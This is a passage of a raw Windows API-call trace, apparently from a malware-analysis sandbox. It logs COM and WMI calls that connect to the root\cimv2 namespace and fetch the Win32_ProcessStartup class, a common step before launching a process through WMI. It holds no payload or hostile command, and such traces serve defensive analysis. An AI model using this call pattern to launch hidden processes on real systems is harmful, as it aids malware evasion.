out: ppvObject=0x1b30c760*=0x1b4af5e0) returned 0x0 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0118.838] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b4abd10) returned 0x0 [0118.838] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abd10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0118.838] WbemDefPath:IUnknown:Release (This=0x1b4abd10) returned 0x3 [0118.838] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0118.838] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0118.838] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0118.839] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0118.839] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0118.839] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0118.839] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0118.839] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x1b4af5e0) returned 0x0 [0118.839] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0118.839] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0118.839] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0118.839] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0118.839] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0118.839] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.839] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0118.839] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0118.839] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0118.839] IUnknown:Release (This=0x6124e8) returned 0x1 [0118.840] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4abe10) returned 0x0 [0118.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abe10, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0118.840] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4abe10, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4abaf0) returned 0x0 [0118.840] WbemLocator:IUnknown:Release (This=0x1b4abe10) returned 0x0 [0118.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4abaf0) returned 0x0 [0118.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0118.840] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0118.840] WbemLocator:IUnknown:AddRef (This=0x1b4abaf0) returned 0x3 [0118.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0118.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0118.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0118.841] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0118.841] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0118.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0118.841] WbemLocator:IUnknown:Release (This=0x1b4abaf0) returned 0x2 [0118.841] WbemLocator:IUnknown:Release (This=0x1b4abaf0) returned 0x1 [0118.841] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0118.841] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0118.841] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4abaf0, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4abaf0) returned 0x0 [0118.841] WbemLocator:IUnknown:AddRef (This=0x1b4abaf0) returned 0x3 [0118.841] WbemLocator:IUnknown:Release (This=0x1b4abaf0) returned 0x2 [0118.841] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0118.841] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0118.841] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af5e0, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0118.841] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4abe70) returned 0x0 [0118.841] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4abe70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0d70) returned 0x0 [0119.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0d70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b511390) returned 0x0 [0119.012] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b511390, pProxy=0x1b4e0d70, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0119.012] WbemLocator:IUnknown:Release (This=0x1b511390) returned 0x1 [0119.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0d70, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b5113d8) returned 0x0 [0119.012] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0d70, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b511390) returned 0x0 [0119.012] WbemLocator:IClientSecurity:SetBlanket (This=0x1b511390, pProxy=0x1b4e0d70, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0119.013] WbemLocator:IUnknown:Release (This=0x1b511390) returned 0x2 [0119.013] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x1 [0119.013] CoTaskMemFree (pv=0x1b461d90) [0119.013] WbemLocator:IUnknown:Release (This=0x1b4abe70) returned 0x0 [0119.013] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0d70, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b5113d8) returned 0x0 [0119.013] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0119.015] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0119.017] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0d70, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0119.018] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0119.018] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0119.018] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0119.019] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b5112b8) returned 0x0 [0119.019] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b5112b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.019] WbemLocator:IUnknown:Release (This=0x1b5112b8) returned 0x3 [0119.019] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0119.019] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0119.019] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b5113a0) returned 0x0 [0119.019] WbemLocator:IRpcOptions:Query (in: This=0x1b5113a0, pPrx=0x1b5113d8, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0119.019] WbemLocator:IUnknown:Release (This=0x1b5113a0) returned 0x3 [0119.019] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0119.019] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0119.019] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0119.019] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0d70) returned 0x0 [0119.019] WbemLocator:IUnknown:AddRef (This=0x1b4e0d70) returned 0x4 [0119.019] WbemLocator:IUnknown:Release (This=0x1b4e0d70) returned 0x3 [0119.019] WbemLocator:IUnknown:Release (This=0x1b4e0d70) returned 0x2 [0119.019] SysStringLen (param_1=0x0) returned 0x0 [0119.019] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0119.020] WbemLocator:IUnknown:AddRef (This=0x1b5113d8) returned 0x3 [0119.020] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5113d8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b5113d8) returned 0x0 [0119.020] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x3 [0119.020] WbemLocator:IUnknown:Release (This=0x1b5113d8) returned 0x2 [0119.020] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0119.020] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af6a0, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0119.020] IWbemServices:GetObject (in: This=0x1b4e0d70, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7900, ppCallResult=0x0) returned 0x0 [0119.045] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0119.045] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0119.045] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0119.045] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0119.045] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0119.045] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0119.046] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.046] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4abc50) returned 0x0 [0119.046] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4abc50, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0119.046] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4abc50, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x1b4af160) returned 0x0 [0119.047] WbemDefPath:IUnknown:Release (This=0x1b4abc50) returned 0x0 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x1b4af160) returned 0x0 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0119.047] WbemDefPath:IUnknown:AddRef (This=0x1b4af160) returned 0x3 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0119.047] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af160, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4abdd0) returned 0x0 [0119.047] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4abdd0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.047] WbemDefPath:IUnknown:Release (This=0x1b4abdd0) returned 0x3 [0119.047] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0119.047] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 